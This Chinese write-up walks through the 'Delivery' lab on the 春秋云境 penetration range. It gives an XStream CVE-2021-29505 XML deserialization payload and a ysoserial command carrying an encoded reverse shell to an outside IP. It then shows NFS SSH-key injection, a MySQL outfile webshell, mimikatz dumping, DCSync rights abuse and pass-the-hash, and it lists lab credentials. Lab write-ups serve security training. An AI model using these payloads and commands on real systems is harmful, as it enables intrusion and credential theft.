外网XStream打点
拿到IP,对外网做信息搜集,外网的FTP允许匿名登录,FTP里有1.txt和pom.xml,1.txt是空的用mget命令下载文件:
mget 1.txt
mget pom.xml
pom.xml内容如下,XStream版本为1.4.16,有CC依赖,很明显是CVE-2021-295058080端口有个表单的功能,输入表单抓包,是用XML传输的,此处就是XML反序列化入口CVE-2021-29505参照vulhub打就行
•https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
起个Ysoserial的JRMP监听,利用链选择CC6链,因为题目用的CC3.2.1的依赖
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JAAvZGVDL3RjcC8xMjEuNDAuMjUzLjE3Ny8zODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
发包打过去就完事,把IP改成自己VPS的IP即可
POST /just_sumbit_it HTTP/1.1
Host: 39.98.127.59:8080
Content-Length: 3110
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>1.1.1.1</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>1.1.1.1</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
直接就是root权限flag01如下
内网信息搜集
内网信息搜集结果如下:
•
172.22.13.14、外网XStream服务
•
172.22.13.28、MySQL(root 123456)、OA办公平台、XIAORANGWIN-HAUWOLAO
•
172.22.13.6、XIAORANGWIN-DC
•
172.22.13.57、CentOS
内网机器NFS提权
在拿到外网的机器后,根据题目提示:为了实现跨机器和跨操作系统的文件共享,管理员在内网部署了NFS…… 先更新一下apt源,然后安装nfs依赖
apt-get update
apt-get install nfs-common -y
在机器上创建一个/temp/目录,把172.22.13.57的nfs挂载到/temp目录下
mkdir /temp/
mount -t nfs 172.22.13.57:/ /temp -o nolock
这里172.22.13.57的nfs只配置了/home/目录,里面有个joyce用户文件夹此时还无法执行命令,由于我们可以往joyce用户目录下写文件,因此写入ssh私钥,下面就是一套写ssh私钥的丝滑小连招,由于要用ssh登录,所以还是先用Python获取到交互式shell再ssh连接
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/home/joyce/.ssh/
cat id_rsa.pub >> /temp/home/joyce/.ssh/authorized_keys
python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh -i /root/.ssh/id_rsa [email protected]
flag在根目录下,joyce用户没权限读根目录下还有个/pAss.txt文件,里面放着用户名和密码(这个用户能登录172.22.13.28这台机器)
•
xiaorang.lab/zhangwenQT62f3gBhK1
一开始试了pkexec提权,失败了,然后尝试suid提权,发现ftp命令有suid权限
find / -perm -u=s -type f 2>/dev/null
在外网打点的那台机器上用python启动一个ftp服务,注意要设置用户名和密码,还有,一定要设置-w
参数,如果不设置,后面put不过来(如果是用python脚本启动,设置perm='elradfmwM'
参数允许客户端FTP写入文件)
python3 -m pyftpdlib -p 2223 -u test -P test -w &
在CentOS机器里把/flag02.txt传给外网机器的FTP服务
ftp 172.22.13.14 2223
test
test
put /flag02.txt
传过去直接读就行
MySQL弱口令写文件getshell
172.22.13.28这台机器的MySQL有弱口令,直接登录就行,发现secure_file_priv为空,可以写文件并且172.22.13.28这台机器也是有Web服务的,所以直接into outfile写文件即可,这里的文件路径是猜的,默认phpstudy就安装在这个路径(预期解应该是在172.22.13.57机器中拿到ZHANGWEN这个用户的账号密码RDP到172.22.13.28这台机器,然后知道Web网站路径写文件)用蚁剑连接就行直接是system权限拿到flag03
WriteDACL权限滥用拿下域
添加一下远程用户方便操作:
net user benbi pass@123 /add
net localgroup administrators benbi /add
上mimikatz抓密码:
.mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
拿到chenglei域用户的密码
•chenglei、Xt61f3LBhg1
上BloodHound分析域内环境:
SharpHound.exe -c all
分析发现,CHENGLEI用户在ACL_ADMIN组里,该组有WriteDACL权限添加CHENGLEI用户对域对象xiaorang.lab的DCSync权限(注意这里需要以CHENGLEI用户身份执行,该用户的账号密码在前面抓出来了)
Import-Module .powerview.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIdentity chenglei -Rights DCSync -Verbose
secretsdump导出域内用户哈希
proxychains python3 secretsdump.py xiaorang.lab/chenglei:[email protected] -just-dc
PTH拿下域控
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:6341235defdaed66fb7b682665752c9a xiaorang.lab/[email protected]
拿flag
原文始发于微信公众号(Dest0g3 Team):春秋云境——Delivery WriteUp